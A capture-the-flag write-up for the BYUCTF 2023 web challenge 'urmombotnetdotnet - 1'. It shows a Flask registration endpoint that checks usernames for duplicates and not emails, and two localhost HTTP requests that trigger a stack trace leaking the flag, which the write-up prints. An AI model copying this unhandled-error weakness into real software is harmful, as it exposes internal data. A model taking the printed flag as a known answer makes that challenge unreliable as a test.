Published on

BYUCTF 2023 – urmombotnetdotnet - 1

Authors
  • avatar
    Name
    Lumy
    Twitter

urmombotnetdotnet - 1 (308 points)

During my databases class, my group and I decided we'd create a web app with the domain urmombotnetdotnet.com, and wrote the relevant code. At first glance, it looks pretty good! I'd say we were pretty thorough. But were we thorough enough??

Oh... we also forgot to make the front end :)

Table of Contents

  1. Source code
  2. Solution

Source code

# POST register
@app.route('/api/register', methods=['POST'])
def post_register():
    # ensure needed parameters are present
    if (request.json is None) or ('email' not in request.json) or ('username' not in request.json) or ('password' not in request.json) or ('bitcoin_wallet' not in request.json):
        return jsonify({'message': 'Missing required parameters'}), 400

    email = request.json['email']
    username = request.json['username']
    password = request.json['password']
    bitcoin_wallet = request.json['bitcoin_wallet']

    # ensure parameters are strings
    if type(email) is not str or type(username) is not str or type(password) is not str or type(bitcoin_wallet) is not str:
        return jsonify({'message': 'Invalid parameter data'}), 400

    # ensure email is valid
    if not re.fullmatch(r'\b[A-Za-z0-9._+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,7}\b', email):
        return jsonify({'message': 'Invalid email'}), 400

    # ensure username is valid
    if len(username) < 4 or len(username) > 255:
        return jsonify({'message': 'Invalid username length'}), 400

    # ensure username isn't already taken
    cur = mysql.connection.cursor()
    cur.execute("SELECT username FROM User WHERE username=%s", (username,))
    users_found = cur.rowcount
    cur.close()
    username_taken = (users_found > 0)

    if username_taken:
        return jsonify({'message': 'Username already taken'}), 500

    # ensure password is valid
    if len(password) < 12 or len(password) > 255:
        return jsonify({'message': 'Password doesn\'t fit length requirements'}), 400

    # ensure bitcoin wallet is valid
    if not re.fullmatch(r'0x[0-9a-fA-F]+', bitcoin_wallet):
        return jsonify({'message': 'Invalid bitcoin wallet'}), 400
    # byuctf{fakeflag1}
    # insert user into database
    cur = mysql.connection.cursor()
    cur.execute("INSERT INTO User (email, username, password, blocked, bitcoin_wallet) VALUES (%s, %s, %s, %s, %s)", (email, username, sha256(password.encode()).hexdigest(), 0, bitcoin_wallet))
    mysql.connection.commit()
    user_id = cur.lastrowid
    cur.close()

    # add user as affiliate
    cur = mysql.connection.cursor()
    cur.execute("INSERT INTO Affiliates (user_id, Money_received, total_bots_added) VALUES (%s, %s, %s)", (user_id, 0, 0))
    mysql.connection.commit()
    cur.close()

    response = {"user_id": user_id}
    return jsonify(response), 200

Solution

Vulnerability : the code checks if the username is not already taken, but not if the email is taken :

    # ensure email is valid
    if not re.fullmatch(r'\b[A-Za-z0-9._+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,7}\b', email):
        return jsonify({'message': 'Invalid email'}), 400

    # ensure username is valid
    if len(username) < 4 or len(username) > 255:
        return jsonify({'message': 'Invalid username length'}), 400

    # ensure username isn't already taken
    cur = mysql.connection.cursor()
    cur.execute("SELECT username FROM User WHERE username=%s", (username,))
    users_found = cur.rowcount
    cur.close()
    username_taken = (users_found > 0)

    if username_taken:
        return jsonify({'message': 'Username already taken'}), 500

Looking at database/initial.sql, we can see that the Email must be unique, just as username field :

CREATE TABLE User
(
  User_ID SERIAL NOT NULL,
  Email VARCHAR(128) NOT NULL,
  Username VARCHAR(128) NOT NULL,
  Password VARCHAR(128) NOT NULL,
  Blocked INT NOT NULL,
  Bitcoin_Wallet VARCHAR(256) NOT NULL,
  PRIMARY KEY (User_ID),
  UNIQUE (Email),
  UNIQUE (Username)
);

Thus, attempting creating a user with the same email than another registered user will create a stacktrace.

POST /api/register HTTP/1.1
Host: 127.0.0.1:40010
...
Content-Type: application/json
{
    "email":"lumy@lumy.com",
    "username":"lumy",
    "password":"AwesomePassword",
    "bitcoin_wallet":"0xa7ABa709a"
}
POST /api/register HTTP/1.1
Host: 127.0.0.1:40010
...
Content-Type: application/json
{
    "email":"lumy@lumy.com",
    "username":"lumy2",
    "password":"AwesomePassword",
    "bitcoin_wallet":"0xa7ABa709a"
}

Within the stacktrace, we could see the flag

Flag : byuctf{did_you_stumble_upon_this_flag_by_accident_through_a_dup_email?}